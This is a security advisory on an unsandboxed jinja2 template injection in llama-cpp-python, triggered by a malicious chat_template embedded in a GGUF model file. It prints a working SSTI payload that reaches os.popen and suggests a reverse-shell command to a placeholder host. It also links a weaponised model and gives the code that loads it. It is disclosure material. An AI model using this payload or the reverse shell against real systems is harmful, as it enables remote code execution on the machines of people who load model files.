Advisory

GHSA-56xg-wfcc-g829

Details, part 2 of 2. The advisory

Details

        self._environment = jinja2.Environment(
            loader=jinja2.BaseLoader(),
            trim_blocks=True,
            lstrip_blocks=True,
        ).from_string(self.template)

Fun thing here: llama_cpp_python directly loads the self.template (self.template = template which is the chat template located in the Metadate that is parsed as a param) via jinja2.Environment.from_string( without setting any sandbox flag or using the protected immutablesandboxedenvironment class. This is extremely unsafe since the attacker can implicitly tell llama_cpp_python to load malicious chat template which is furthermore rendered in the __call__ constructor, allowing RCEs or Denial-of-Service since jinja2's renderer evaluates embed codes like eval(), and we can utilize expose method by exploring the attribution such as __globals__, __subclasses__ of pretty much anything.

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        functions: Optional[List[llama_types.ChatCompletionFunction]] = None,
        function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None,
        tools: Optional[List[llama_types.ChatCompletionTool]] = None,
        tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None,
        **kwargs: Any,
    ) -> ChatFormatterResponse:
        def raise_exception(message: str):
            raise ValueError(message)

        prompt = self._environment.render( # rendered!
            messages=messages,
            eos_token=self.eos_token,
            bos_token=self.bos_token,
            raise_exception=raise_exception,
            add_generation_prompt=self.add_generation_prompt,
            functions=functions,
            function_call=function_call,
            tools=tools,
            tool_choice=tool_choice,
        )

Exploiting

For our exploitation, we first downloaded qwen1_5-0_5b-chat-q2_k.gguf of Qwen/Qwen1.5-0.5B-Chat-GGUF on huggingface as the base of the exploitation, by importing the file to Hex-compatible editors (In my case I used the built-in Hex editor or vscode), you can try to search for key chat_template (imported as template = self.metadata["tokenizer.chat_template"] in llama-cpp-python):

<img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" />

qwen1_5-0_5b-chat-q2_k.gguf appears to be using the OG role+message and using the fun jinja2 syntax. By first replacing the original chat_template in \x00, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression ().__class__.__base__.__subclasses__() retrieves a list of all subclasses of the basic object class and then we check if its warning by if "warning" in x.__name__, if it is , we access its module via the _module attribute then access Python's built-in functions through __builtins__ and uses the __import__ function to import the os module and finally we called os.popen to touch /tmp/retr0reg, create an empty file call retr0reg under /tmp/

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %}

in real life exploiting instance, we can change touch /tmp/retr0reg into arbitrary codes like sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1 to create a reverse shell connection to specified host, in our case we are using touch /tmp/retr0reg to showcase the exploitability of this vulnerability.

<img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" />

After these steps, we got ourselves a malicious model with an embedded payload in chat_template of the metahead, in which will be parsed and rendered by llama.py:class Llama:init -> self.chat_handler -> llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment( -> `llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(

*(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )*

from llama_cpp import Llama

# Loading locally:
model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf")
# Or loading from huggingface:
model = Llama.from_pretrained(
    repo_id="Retr0REG/Whats-up-gguf",
    filename="qwen1_5-0_5b-chat-q2_k.gguf",
    verbose=False
)

print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}]))

Now when the model is loaded whether as Llama.from_pretrained or Llama and chatted, our malicious code in the chat_template of the metahead will be triggered and execute arbitrary code.

PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

Sources & licences